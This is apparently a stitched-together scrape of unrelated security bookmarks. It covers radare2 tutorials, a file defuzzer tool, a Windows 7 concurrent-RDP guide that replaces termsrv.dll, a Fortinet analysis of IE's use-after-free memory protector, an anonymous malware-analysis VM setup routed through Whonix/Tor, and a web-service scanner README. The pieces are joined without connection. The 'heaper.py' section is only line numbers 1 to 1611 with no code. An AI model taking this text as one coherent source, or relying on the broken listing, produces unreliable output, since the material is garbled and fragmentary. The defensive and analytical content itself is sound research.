read more |  |  In this new article I will explain some of the r\_anal features through the creation of a small tool that we will call "itrace", which is mainly focused on tracing/hooking of imports execution based on LD\_PRELOAD + global hooking. I presented this method and POC on rooted'10, so you can give a look to the slides \[1\] if you want a quick summary and source \[2\] for testing it.   
  
Imagine the following scenario, we have a binary and we want to trigger an
event each time that an import is called. Obviously, we could hook all the
imports and exec whatever we want preloading a library coded by us with
LD\_PRELOAD, but this aproximation has a very big problem: the imports used by
each target binary will change, so we would need to code a library adapted to
each binary every time.  
...  
  
  
Extending r2 with new plugins

* * *  
---  
<img src='img/Temp2_10591.png' />  
read more |  |  One of the key features behind r2 is how easily it can be extended with new libraries or plugins. In this paper, we will see the steps needed for adding a new plugin in radare.   
  
Let's say we want to add a new plugin for r\_asm because we are working with
binaries of an architecture not supported by r2. Of course, adding a new
plugin for another lib would be mostly the same.  
...  
  
  
Scripting r2 using Vala

* * *  
---  
<img src='img/Temp2_10589.png' />  
read more |  |  Under some situations you need to automatize or extend the features of radare. There are so many scripting languages out there: python, ruby, perl, lua between others.   
  
All of them are supported by the radare package and you can use them from
inside r2 using r\_lang plugins and the '\#\!' command or externally with the
r2-swig.  
  
The main issue on scripting languages is performance. The code is interpreted
and all the api bindings are wrapped, so linked list accesses and function
calls are highly penalized.  
  
Here's where Vala joins the party.  
...  
  
  
graphs: code analysis of functions

* * *  
---  
<img src='img/Temp2_10587.png' />  
read more |  |  When analyzing big binaries text-only view is probably not enought to understand the whole program.   
  
radare and radare2 can generate graphs in graphviz format.  
  
When compiling radare1 with gtk, you will be able to use the 'ag' command.
This command opens a gtk window with the graph analysis starting at the
current seek  
  
Graphing functions per basic-block will give you a be  
...  
  
  
rasm: multiarch assembler/disassembler

* * *  
---  
<img src='img/Temp2_10588.png' />  
read more |  |  One of the main programs distributed with radare and radare2 is 'rasm' \(and 'rasm2\). This tool permits to assemble and disassemble stream of bytes or opcodes from pipes or files.   
  
The way to disassemble some bytes is easy:

[code]

    $ rasm2 'nop'
    90
    $ rasm2 -d '90'
    nop
    
[/code]

Appending more than one opcode is done by the ';' character:  
...  
  
  
rax: base conversion tool

* * *  
---  
<img src='img/Temp2_10590.png' />  
read more |  |  Many times you fall in the situation that you need a simple calculator and conversor tool to convert numbers from different bases, change the endianness, etc..   
  
The 'rax' utility comes with the radare framework and aims to be a
minimalistic expression evaluator for the shell useful for making base
conversions easily between floating point values, hexadecimal representations,
hexpair strings to ascii, octal to integer.  
  
It supports endianness and can be used as a shell if no arguments given. In
short you have:

[code]

    $ rax -h
    Usage: rax [-] | [-s] [-e] [int|0x|Fx|.f|.o] [...]
    
[/code]

# The Art Of Defuzzing | Didier Stevens
**Created:**| _7/28/2013 7:52:05 AM_  
---|---  
**Updated:**| _7/28/2013 7:52:05 AM_  
**Author:**| __  
**Tags:**| __  
  

# Didier Stevens****

## Wednesday 10 July 2013****

###  The Art Of Defuzzing****

Filed under: My Software  — Didier Stevens @ 21:05

I had something of a puzzle to solve**.** A friend asked me to look at a set
of files, all of the same size, but with some differences**.**

After some analysis, it dawned on me that these files were the result of a
simple fuzzer applied to a single file**.** So I quickly wrote a program that
took these files as input and reconstituted the original file**.** Later I
wrote a more generic defuzzer**.** Here is an example:

[code]

    defuzzer.py result.png a*.png
    
    Number of defuzzed bytes: 171
    Number of defuzzed sequences: 33
    Length of shortest defuzzed sequence: 1
    Length of longest defuzzed sequence: 10
    Fuzz bytes:
    'A': 171
[/code]

From the result you can see that the program was able to reconstitute the
original file, and that the fuzzer that was used to produce the different
a\*.png files, overwrote 33 byte-sequences with the character A. The longest
sequence was 10 bytes long, the shortest only 1 byte**.** In total, 171 bytes
were overwritten.

defuzzer\_v0\_0\_2.zip  \(https \)  
MD5: 75188EF950625B78937C3473D825C582  
SHA256: 056AB8BA7F3B2B52F8C7BFC2959D7F1AE3FEAC4BE90C675B2DFF6B521225D93E

Like Loading..**.**

Leave a Comment

## Leave a Comment**** »

No comments yet**.**

RSS feed for comments on this post**.** TrackBack URI

### Leave a Reply \(comments are moderated\) Cancel reply****

****

# Trolling with Math

**Created:**| _4/26/2010 8:01:41 PM_  
---|---  
**Updated:**| _4/26/2010 8:02:04 PM_  
**Author:**| __  
**Tags:**| _bookmark reversing conference-material LOLZ awesome_  
  
<img src='img/Temp2_8466' />

# Guide How to Enable Concurrent Sessions in Windows 7 Service Pack 1 RTM | Missing Remote
**Created:**| _2/25/2011 9:42:42 AM_  
---|---  
**Updated:**| _2/25/2011 9:42:51 AM_  
**Author:**| __  
**Tags:**| _windows Lab-Setup_  
  

# How to Enable Concurrent Sessions in Windows 7 Service Pack 1 RTM

  * Login or register to post comments

94 replies \[Last post\]

Mon, 01/31/2011 - 11:58am

<img src='img/Temp2_3536.gif' width='16' height='16' alt='Printer-friendly
version' /><img src='img/Temp2_3535.gif' width='16' height='16' alt='Send to
friend' />

### Please Read

If you have previously used a W7 RDP "patch" please rename or
delete**%SystemRoot%\system32\termsrv.dll.bak** prior to running the updated
script. Sorry for any inconvenience caused.

If you've been following MissingRemote for a while, you know one of our most
popular series of guides is Enabling Concurrent Remote Desktop sessions.
Continuing that trend we have an updated process below **working with the RTM
\(Official Release to Manufacturing\) version of Windows7 Ultimate,
Professional, Home Premium and Enterprise Editions, x86****& x64 build 7601,
Service Pack Build 1130**.

One of the most popular articles ever at MissingRemote.com has been our guide
on how to enableConcurrent Sessions for Windows Vista. For those unaware of
what it is, enabling Concurrent Sessions allows you to Remote Desktop into a
system that someone else is on, under a different user account, and access the
system without kicking the user off. I, for example, use the feature to have
MCE running on my Television, and then I remote into my main user account to
access all my files without interrupting my MCE session. Special thanks to
Mikinho for compiling the package below and making this all possible.

<img src='img/Temp2_3534.gif' width='500' height='375'
alt='userscreensmall.jpg' />

**\*\*\*DISCLAIMER\*\*\***

> The following files and instructions are provided to you at your OWN
> RISK\!\! Understand that it is replacing important files, and as always,
> anything can happen. That being said, if you do have a problem, we have a
> fantastic community here to help you
<img src='img/Temp2_3537.gif' width='342' height='151' alt='rdp1' />

> ## **INSTALLATION INSTRUCTIONS \(READ CAREFULLY\)**
> **1\. First, Download the file attached below \(you will need to be
> registered and logged in.**
> **2\. Once downloaded, extract the files into a directory \(for the purposes
> of this guide, it will be assumed that the files have been extracted to the
> folder C:\Win7RDP \)**
> **3\. Open Windows Explorer to the above folder**
> **4\. Right Click on "install.cmd" and select "Run as Administrator"**
> **5\. Wait for the script to run entirely. At the end, you should see
> something similar to the below...**

# Fortinet Blog | News and Threat Research Is use-after-free exploitation dead? The new IE memory protector will tell you
**Created:**| _7/18/2014 9:28:31 AM_  
---|---  
**Updated:**| _7/18/2014 9:28:31 AM_  
**Author:**| __  
**Tags:**| _bughunting IE_  
  

# Is use-after-free exploitation dead? The new IE memory protector will tell
you

The Isolated Heap for DOM objects included in the Microsoft Patch Tuesday for
June 2014 was just a fire drill aimed at making the exploitation of use-after-
free \(UAF\) vulnerabilities more difficult. The patch for July 2014, however,
has been quite a shock to exploit developers\! In this release, Microsoft
showed some determination in fighting back against UAF bugs with this
improvement - the introduction of a new memory protector in Microsoft Internet
Explorer, which would make exploitation of UAF vulnerabilities extremely
difficult.

### An Overview Of The Changes

In the July 2014 update, a total of fourteen MSHTML\!MemoryProtection::\*
functions and one global variable have been added to improve memory freeing of
HTML and DOM elements.

<img src='img/Temp2_3282.jpg' alt='UAF IE 1' />

_Figure 1. The MemoryProtection functions._

In this update, we can also see that significant changes are made in the
deconstructor of most elements:

  1. The HeapFree function has been replaced with MemoryProtection::CMemoryProtector::ProtectedFree.
  2. The HeapFree function has been replaced with ProcessHeapFree \(a fastcall version of MemoryProtection::CMemoryProtector::ProtectedFree\).
  3. Some deconstructors just implement the same mechanism of using MemoryProtection::CMemoryProtector::ProtectedFree directly.

<img src='img/Temp2_3286.jpg' alt='UAF IE 2' />

_Figure 2. The ProtectedFree functions that have replaced HeapFree._

How do these new functions work? And how do these changes stop the
exploitation of use-after-free bugs and other kinds of exploits? The following
technical analysis will tell you.

### Technical Analysis

Memory allocations typically reference similarly-sized chunks of memory that
have been previously freed. Taking advantage of this behavior, the traditional
way of exploiting a use-after-free bug consists of the following process:

1\) The program allocates and then later frees object A. 2\) The attacker
allocates object B over the freed memory, carefully controlling the data that
will be used later. 3\) The program uses freed object A, referencing the
attacker-controlled data.

The most effective mitigation should be in making Step 2 above, the
replacement of an object, become harder or even impossible. There are some
ways that the defender can do this:

A\) The ultimate way is to use a type-safe memory management system which
would prevent the attacker from reclaiming the freed memory using a different
type of object. The attacker could only replace the memory using the same type
of object, which does not help at all in exploitation.

B\) The cheaper way is to do some tricks in the current memory management
system to make the memory allocation and freeing behavior out of the
attacker’s control.

Specifically, the method in B is the improvement that we have seen in IE in
June 2014, where an isolated heap in the memory allocate method has been
added; and in July 2014, where the protected free method has been implemented.

The isolated heap that was introduced could bring some trouble to attackers,
but if the mitigation only relies on this, it should still be fairly easy to
bypass; an attacker could still reference the freed objects with a different
type, especially when the chunks of memory have been merged.

The story has changed with the newly added protected free method in the July
2014 update. In each thread of an IE process, a MemoryProtector structure has
been introduced to protect the current thread, as its name implies.

<img src='img/Temp2_3284.jpg' alt='UAF IE 3' />

_Figure 3. The MemoryProtector structure._

The BlockArray in this structure stores the size and address of the elements
to be freed. The new function
MemoryProtection::CMemoryProtector::ProtectedFree then makes use of the
MemoryProtector structure to make freeing of the elements’ memory safer.

<img src='img/Temp2_3283.jpg' alt='UAF IE 4' />

_Figure 4. The MemoryProtection::CMemoryProtector::ProtectedFree function._

Generally speaking, this function that is responsible for freeing the
protected memory acts like a simple conservative garbage collector. Instead of
releasing the unused space immediately which could allow attackers to have a
chance to re-allocate the space,
MemoryProtection::CMemoryProtector::ProtectedFree first holds these unused
spaces \(filling the content with zeroes\) until the number or total size
meets a specific threshold. When this threshold is met, it does not release
every stored element’s memory at that moment just yet as it still needs to
implement a “Mark and Sweep” process. In _Figure 4_ , this can be seen in the
calls to MarkBlocks and ReclaimUnmarkedBlocks.

The following shows the marking process which scans and marks every element
that is still being referenced in the stack; these marked elements will not be
freed in the sweeping process. By doing this, the possible use of a freed
object in the stack would be prevented.

<img src='img/Temp2_3285.jpg' alt='UAF IE 5' />

_Figure 5. The MemoryProtection::CMemoryProtector::MarkBlocks function._

Eventually, the non-marked elements are freed in the sweeping process.

<img src='img/Temp2_3281.jpg' alt='UAF IE 6' />

_Figure 6. The MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks
function._

Now, let’s switch our point-of-view to the attacker’s side. To exploit a use-
after-free bug under the above new conditions, we first need to find a
controlled allocation method in the same heap as the freed object. We then
need to predict the memory status \(how many frees are still needed before
triggering the actual free\) when freeing an object. After that, we need to
perfectly build the release sequence to make sure that the previously freed
object’s space has actually been freed. That already sounds difficult, but
that’s not all. We also have to predict the possible memory coalesces and
handle the conflicts from other unknown allocations, and then reclaim the
memory at a good timing. After all of that, we might then be able to take
control of the previously freed element’s space. At this time, I’m afraid that
most attackers who are trying to exploit use-after-free bugs have given up
already.

### Further Thoughts

  1. As we can see in the beginning of the function MemoryProtection::CMemoryProtector::ProtectedFree in _Figure 4_ , if the variable MemoryProtection::CMemoryProtector::tlsSlotForInstanc is equal to or if TlsGetValue\(\) fails, the old function HeapFree is directly called, but this is obviously tough to achieve.
  2. Some heap manipulation techniques would be affected by the joint action of the isolated heap and protected free because such techniques need to free some elements to make holes for the vulnerable buffer. The delayed free mechanism should bring some headache to attackers, but manipulation is not impossible, as long as attackers could find a controlled allocation method in the same heap and are able to free a reasonable amount of elements.
  3. Would the simple conservative garbage collector introduce a new attacking surface, such as the classic ASLR bypass by Dion? It’s possible to place an integer value into the stack and then brute-guess the address of the elements that are to be freed. However, even if an attacker could guess this address, one still cannot get a useful pointer such as the vftable that would leak a base DLL address due to the fact that the contents of the memory have already been zeroed out.

In conclusion, building a reliable use-after-free exploit in IE is extremely
difficult now. Well done, MSRC guys\!

_Special Contribution by Margarette Joven_

# heaper.py at master from mrmee/heaper - GitHub

**Created:**| _1/9/2012 3:06:52 PM_  
---|---  
**Updated:**| _1/9/2012 3:06:52 PM_  
**Author:**| __  
**Tags:**| _windows environment Heap_  
  

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    352
    353
    354
    355
    356
    357
    358
    359
    360
    361
    362
    363
    364
    365
    366
    367
    368
    369
    370
    371
    372
    373
    374
    375
    376
    377
    378
    379
    380
    381
    382
    383
    384
    385
    386
    387
    388
    389
    390
    391
    392
    393
    394
    395
    396
    397
    398
    399
    400
    401
    402
    403
    404
    405
    406
    407
    408
    409
    410
    411
    412
    413
    414
    415
    416
    417
    418
    419
    420
    421
    422
    423
    424
    425
    426
    427
    428
    429
    430
    431
    432
    433
    434
    435
    436
    437
    438
    439
    440
    441
    442
    443
    444
    445
    446
    447
    448
    449
    450
    451
    452
    453
    454
    455
    456
    457
    458
    459
    460
    461
    462
    463
    464
    465
    466
    467
    468
    469
    470
    471
    472
    473
    474
    475
    476
    477
    478
    479
    480
    481
    482
    483
    484
    485
    486
    487
    488
    489
    490
    491
    492
    493
    494
    495
    496
    497
    498
    499
    500
    501
    502
    503
    504
    505
    506
    507
    508
    509
    510
    511
    512
    513
    514
    515
    516
    517
    518
    519
    520
    521
    522
    523
    524
    525
    526
    527
    528
    529
    530
    531
    532
    533
    534
    535
    536
    537
    538
    539
    540
    541
    542
    543
    544
    545
    546
    547
    548
    549
    550
    551
    552
    553
    554
    555
    556
    557
    558
    559
    560
    561
    562
    563
    564
    565
    566
    567
    568
    569
    570
    571
    572
    573
    574
    575
    576
    577
    578
    579
    580
    581
    582
    583
    584
    585
    586
    587
    588
    589
    590
    591
    592
    593
    594
    595
    596
    597
    598
    599
    600
    601
    602
    603
    604
    605
    606
    607
    608
    609
    610
    611
    612
    613
    614
    615
    616
    617
    618
    619
    620
    621
    622
    623
    624
    625
    626
    627
    628
    629
    630
    631
    632
    633
    634
    635
    636
    637
    638
    639
    640
    641
    642
    643
    644
    645
    646
    647
    648
    649
    650
    651
    652
    653
    654
    655
    656
    657
    658
    659
    660
    661
    662
    663
    664
    665
    666
    667
    668
    669
    670
    671
    672
    673
    674
    675
    676
    677
    678
    679
    680
    681
    682
    683
    684
    685
    686
    687
    688
    689
    690
    691
    692
    693
    694
    695
    696
    697
    698
    699
    700
    701
    702
    703
    704
    705
    706
    707
    708
    709
    710
    711
    712
    713
    714
    715
    716
    717
    718
    719
    720
    721
    722
    723
    724
    725
    726
    727
    728
    729
    730
    731
    732
    733
    734
    735
    736
    737
    738
    739
    740
    741
    742
    743
    744
    745
    746
    747
    748
    749
    750
    751
    752
    753
    754
    755
    756
    757
    758
    759
    760
    761
    762
    763
    764
    765
    766
    767
    768
    769
    770
    771
    772
    773
    774
    775
    776
    777
    778
    779
    780
    781
    782
    783
    784
    785
    786
    787
    788
    789
    790
    791
    792
    793
    794
    795
    796
    797
    798
    799
    800
    801
    802
    803
    804
    805
    806
    807
    808
    809
    810
    811
    812
    813
    814
    815
    816
    817
    818
    819
    820
    821
    822
    823
    824
    825
    826
    827
    828
    829
    830
    831
    832
    833
    834
    835
    836
    837
    838
    839
    840
    841
    842
    843
    844
    845
    846
    847
    848
    849
    850
    851
    852
    853
    854
    855
    856
    857
    858
    859
    860
    861
    862
    863
    864
    865
    866
    867
    868
    869
    870
    871
    872
    873
    874
    875
    876
    877
    878
    879
    880
    881
    882
    883
    884
    885
    886
    887
    888
    889
    890
    891
    892
    893
    894
    895
    896
    897
    898
    899
    900
    901
    902
    903
    904
    905
    906
    907
    908
    909
    910
    911
    912
    913
    914
    915
    916
    917
    918
    919
    920
    921
    922
    923
    924
    925
    926
    927
    928
    929
    930
    931
    932
    933
    934
    935
    936
    937
    938
    939
    940
    941
    942
    943
    944
    945
    946
    947
    948
    949
    950
    951
    952
    953
    954
    955
    956
    957
    958
    959
    960
    961
    962
    963
    964
    965
    966
    967
    968
    969
    970
    971
    972
    973
    974
    975
    976
    977
    978
    979
    980
    981
    982
    983
    984
    985
    986
    987
    988
    989
    990
    991
    992
    993
    994
    995
    996
    997
    998
    999
    1000
    1001
    1002
    1003
    1004
    1005
    1006
    1007
    1008
    1009
    1010
    1011
    1012
    1013
    1014
    1015
    1016
    1017
    1018
    1019
    1020
    1021
    1022
    1023
    1024
    1025
    1026
    1027
    1028
    1029
    1030
    1031
    1032
    1033
    1034
    1035
    1036
    1037
    1038
    1039
    1040
    1041
    1042
    1043
    1044
    1045
    1046
    1047
    1048
    1049
    1050
    1051
    1052
    1053
    1054
    1055
    1056
    1057
    1058
    1059
    1060
    1061
    1062
    1063
    1064
    1065
    1066
    1067
    1068
    1069
    1070
    1071
    1072
    1073
    1074
    1075
    1076
    1077
    1078
    1079
    1080
    1081
    1082
    1083
    1084
    1085
    1086
    1087
    1088
    1089
    1090
    1091
    1092
    1093
    1094
    1095
    1096
    1097
    1098
    1099
    1100
    1101
    1102
    1103
    1104
    1105
    1106
    1107
    1108
    1109
    1110
    1111
    1112
    1113
    1114
    1115
    1116
    1117
    1118
    1119
    1120
    1121
    1122
    1123
    1124
    1125
    1126
    1127
    1128
    1129
    1130
    1131
    1132
    1133
    1134
    1135
    1136
    1137
    1138
    1139
    1140
    1141
    1142
    1143
    1144
    1145
    1146
    1147
    1148
    1149
    1150
    1151
    1152
    1153
    1154
    1155
    1156
    1157
    1158
    1159
    1160
    1161
    1162
    1163
    1164
    1165
    1166
    1167
    1168
    1169
    1170
    1171
    1172
    1173
    1174
    1175
    1176
    1177
    1178
    1179
    1180
    1181
    1182
    1183
    1184
    1185
    1186
    1187
    1188
    1189
    1190
    1191
    1192
    1193
    1194
    1195
    1196
    1197
    1198
    1199
    1200
    1201
    1202
    1203
    1204
    1205
    1206
    1207
    1208
    1209
    1210
    1211
    1212
    1213
    1214
    1215
    1216
    1217
    1218
    1219
    1220
    1221
    1222
    1223
    1224
    1225
    1226
    1227
    1228
    1229
    1230
    1231
    1232
    1233
    1234
    1235
    1236
    1237
    1238
    1239
    1240
    1241
    1242
    1243
    1244
    1245
    1246
    1247
    1248
    1249
    1250
    1251
    1252
    1253
    1254
    1255
    1256
    1257
    1258
    1259
    1260
    1261
    1262
    1263
    1264
    1265
    1266
    1267
    1268
    1269
    1270
    1271
    1272
    1273
    1274
    1275
    1276
    1277
    1278
    1279
    1280
    1281
    1282
    1283
    1284
    1285
    1286
    1287
    1288
    1289
    1290
    1291
    1292
    1293
    1294
    1295
    1296
    1297
    1298
    1299
    1300
    1301
    1302
    1303
    1304
    1305
    1306
    1307
    1308
    1309
    1310
    1311
    1312
    1313
    1314
    1315
    1316
    1317
    1318
    1319
    1320
    1321
    1322
    1323
    1324
    1325
    1326
    1327
    1328
    1329
    1330
    1331
    1332
    1333
    1334
    1335
    1336
    1337
    1338
    1339
    1340
    1341
    1342
    1343
    1344
    1345
    1346
    1347
    1348
    1349
    1350
    1351
    1352
    1353
    1354
    1355
    1356
    1357
    1358
    1359
    1360
    1361
    1362
    1363
    1364
    1365
    1366
    1367
    1368
    1369
    1370
    1371
    1372
    1373
    1374
    1375
    1376
    1377
    1378
    1379
    1380
    1381
    1382
    1383
    1384
    1385
    1386
    1387
    1388
    1389
    1390
    1391
    1392
    1393
    1394
    1395
    1396
    1397
    1398
    1399
    1400
    1401
    1402
    1403
    1404
    1405
    1406
    1407
    1408
    1409
    1410
    1411
    1412
    1413
    1414
    1415
    1416
    1417
    1418
    1419
    1420
    1421
    1422
    1423
    1424
    1425
    1426
    1427
    1428
    1429
    1430
    1431
    1432
    1433
    1434
    1435
    1436
    1437
    1438
    1439
    1440
    1441
    1442
    1443
    1444
    1445
    1446
    1447
    1448
    1449
    1450
    1451
    1452
    1453
    1454
    1455
    1456
    1457
    1458
    1459
    1460
    1461
    1462
    1463
    1464
    1465
    1466
    1467
    1468
    1469
    1470
    1471
    1472
    1473
    1474
    1475
    1476
    1477
    1478
    1479
    1480
    1481
    1482
    1483
    1484
    1485
    1486
    1487
    1488
    1489
    1490
    1491
    1492
    1493
    1494
    1495
    1496
    1497
    1498
    1499
    1500
    1501
    1502
    1503
    1504
    1505
    1506
    1507
    1508
    1509
    1510
    1511
    1512
    1513
    1514
    1515
    1516
    1517
    1518
    1519
    1520
    1521
    1522
    1523
    1524
    1525
    1526
    1527
    1528
    1529
    1530
    1531
    1532
    1533
    1534
    1535
    1536
    1537
    1538
    1539
    1540
    1541
    1542
    1543
    1544
    1545
    1546
    1547
    1548
    1549
    1550
    1551
    1552
    1553
    1554
    1555
    1556
    1557
    1558
    1559
    1560
    1561
    1562
    1563
    1564
    1565
    1566
    1567
    1568
    1569
    1570
    1571
    1572
    1573
    1574
    1575
    1576
    1577
    1578
    1579
    1580
    1581
    1582
    1583
    1584
    1585
    1586
    1587
    1588
    1589
    1590
    1591
    1592
    1593
    1594
    1595
    1596
    1597
    1598
    1599
    1600
    1601
    1602
    1603
    1604
    1605
    1606
    1607
    1608
    1609
    1610
    1611
    
[/code]

# Building Ultimate Anonymous Malware Analysis and Reverse Engineering Machine | Coding and Security
**Created:**| _11/17/2014 2:46:06 PM_  
---|---  
**Updated:**| _11/17/2014 2:46:06 PM_  
**Author:**| __  
**Tags:**| __  
  

# Building Ultimate Anonymous Malware Analysis and Reverse Engineering Machine

In this article, I'll show you my malware analysis environment and setup. I
have to say that all software and configurations written in this article are
totally my personal preference, this is my configuration and I like it, but
please don't hesitate to share your ideas. So I'll start from very beginning:
OS installation. For malware analysis, OS may vary, some malwares may only
work on certain OS, so it's better to have several of them. Personally, I have
XP SP3 with all updates that was available and Windows 7 x64.

Also definitely, no one would like to do malware analysis on their main OS, so
I personally use **Debian** as my main OS, inside **Debian**, I installed
**VirtualBox** and I use it as main software for virtualization. I highly
recommend it.

**1\)** Install **VirtualBox** in your main operating system. Create an empty
folder called _shared_ and share new folder you've created for guest OS.

**2\)** Install a new fresh Windows version of your choice and update it. I
usually update because sometimes I also do Windows patch analysis on these
machines, so I need to have up-to-date patches to be able to do proper
bindiffing.

**3\)** Install **VirtualBox** guest addition.

**4\)** Install and configure required softwares, here is my list:

  * Go to Explorer -> Folder options -> Uncheck _hide extensions for known file types,_ uncheck _Hide protected operating system files_ and choose _Show hidden files, folder and drives_.
  * Install **Chrome** \(no one would like to work with IE\) and instantly download and install **AdBlock plus**.
  * Download and install Winrar/7Zip or both which I prefer both.
  * Install Visual Studio 2008/2010/2012/2013. I personally install VS2008 and sometimes VS2010 too \(together\). But latest version of VS should work.
  * Install latest version of Python 2.7. It just works fine and IDA Pro likes it. Then download and save this file and run **python get-pip.py**. Add **C:\Python27** and **C:\Python27\scripts** to your **PATH.** Open new command prompt and run "**pip install yara** ", "**pip install pycrypto** ", "**pip install winappdbg** ", "**pip install pefile** " and finally download and install jsunpack manually.
  * Install Notepad++. 
  * Create a folder called **Tools** in C:\
  * Download and extract RDG packer detector to **C:\Tools\RDG**. When you run it for first time, it tries to setup context menu which I choose yes. If you do so, you'll be able to right-click on binaries and let RDG scan it easily.

<img src='https://www.codeandsec.com/images/RDG.png' />

  * Download and install CFF Explorer. Run CFF Explorer, go to _Settings_ and click _Enable shell extensions_.
  * Download and extract **PeID** to **C:\Tools\PeID**. Download userdb.txt and overwrite the one in **PeID** folder. PeID -> Options ->  _Hardcore Scan_ and check  _Register shell extensions_

​

<img src='https://www.codeandsec.com/images/PeID.png' />

  * Download and install IDA of your choice \(Pro or free\). 
  * Download and install dotPeek. 
  * Download and install NASM \(goto latest version folder and download zip inside win32\) and MASM. Install NASM to C:\Nasm and install MASM to C:\Masm32, add both folder to PATH environment variable.
  * Download and extract Ollydbg to **C:\Tools\Olly**. Use this as **Ollydbg.ini** which will have nice theme for you \(provided by jacob@reddit.com in comments section of my blog, thanks jacob\!\). Then install plugins of your choice, here is list of Ollydbg plugins I use: Olly advanced, Olly breakpoint manager, OllyBonE, OllyDumpEx, OdbgScript, StrongOD, Ultra String Reference, CopyHexCode, Multiline Ultimate Assembler and ImportStudio. Then goto Options -> Just in time debugging and make Ollydbg just-in-time debugger. 
  * Download and extract ImpRec to **C:\Tools\ImpRec**. 
  * ​If you want to do binary diffing \(malware versions diffing or windows patch analysis\) like I do, you need to also install TurboDiff, Patchdiff, IDACompare and DarunGrim. 
  * Install hex editor of your choice, but I suggest HxD as best free and Hex workshop as best paid.
  * Install windows SDK \(if you need development\) which also installs **WinDBG**.

<img src='https://www.codeandsec.com/images/SDKSetup.png' />

  * Install windows WDK \(driver development kit\) if you need.

<img src='https://www.codeandsec.com/images/DDKSetup.png' />

[code]

    REGEDIT4
    
    [HKEY_CLASSES_ROOT\*\shell\cmdhere]
    @="Cmd&Here"
    
    [HKEY_CLASSES_ROOT\*\shell\cmdhere\command]
    @="cmd.exe /c start cmd.exe /k pushd \"%L\\..\""
    
    [HKEY_CLASSES_ROOT\Folder\shell\cmdhere]
    @="Cmd&Here"
    
    [HKEY_CLASSES_ROOT\Folder\shell\cmdhere\command]
    @="cmd.exe /c start cmd.exe /k pushd \"%L\""
[/code]

  * Create desktop shortcuts for the tools you just installed. Results:

<img src='https://www.codeandsec.com/images/RevEngDesktop.png' />

**5\)** **Shutdown** virtual machine.

**6\)** During malware analysis and possibly checking C&C servers of malwares,
no one likes to share their real IP with malware authors. Specially nowadays
with IP-to-location databases, only your IP will be enough to giveaway your
approximate location. So here is what you need to do:

  * Download Whonix-Gateway. \(you should get .ova file\)
  * Go to _VirtualBox manager - > File -> Import Appliance \(or CTRL + I\)_, choose .ova file, set CPU and memory settings and run it.
  * After initial/first run, it will take you through some steps, follow them, set tor to start at startup, run "**sudo apt-get update ; sudo apt-get upgrade** " and use default password which is "**changeme** ".
  * Let **Whonix** run, minimize it and return to main VirtualBox manager.

<img src='https://www.codeandsec.com/images/whonixrunning.png' />

  * As **Whonix** is running and your main Virtual machine is powered off, go to VirtualBox manager and open your virtual machine's \(reverse engineering machine\) settings. Go to _network - > Choose internal network -> Choose Whonix in name_ and Press OK to save.
  * Now run your virtual machine again. Go to network settings and set followings:

[code]

    IP address => 10.152.152.50 
    Subnet =>     255.255.192.0 
    Gateway =>    10.152.152.10 
    DNS server => 10.152.152.10
[/code]

  * Allow it to configure itself and Voila\!

<img src='https://www.codeandsec.com/images/IP2Location.png' />

uess what? I'm thousands of miles away from Netherlands and I can't speak
Dutch \(shame on me\).

From now on, all applications running inside **virtualbox** will use this IP.
Also if you want to change your TOR IP and TOR identity, I have created a
shell script in desktop which does it for you. Do "**nano newip.sh** " and
paste following:

[code]

    #!/bin/sh
    tor-ctrl -a /var/run/tor/control.authcookie -P 9051 -c "signal newnym"
[/code]

Save the file on your desktop and enable execute permission \(_chmod +x
newip.sh_\), next time just double click on it and you'll have new identity.

**7\)** Take snapshot with everything installed and configured, call it
"**Clean-Install** ". Now you can start analyzing all type of malware without
worrying about your identity or damages malware may cause.

I think we've covered it all. Please let me know your suggestions in
twitter/comment/email.

# YalcinYolalan/WSSAT

**Created:**| _9/4/2017 9:51:17 AM_  
---|---  
**Updated:**| _9/4/2017 9:51:17 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

###  README.md

# WSSAT - Web Service Security Assessment Tool

WSSAT is an open source web service security scanning tool which provides a
dynamic environment to add, update or delete vulnerabilities by just editing
its configuration files. This tool accepts WSDL address list as input file and
for each service, it performs both static and dynamic tests against the
security vulnerabilities. It also makes information disclosure controls. With
this tool, all web services could be analysed at once and the overall security
assessment could be seen by the organization.

**Objectives of WSSAT are to allow organizations:**

  * Perform their web services security analysis at once
  * See overall security assessment with reports
  * Harden their web services

**WSSAT’s main capabilities include:**

**Dynamic Testing:**

  * Insecure Communication - SSL Not Used
  * Unauthenticated Service Method
  * Error Based SQL Injection
  * Cross Site Scripting
  * XML Bomb
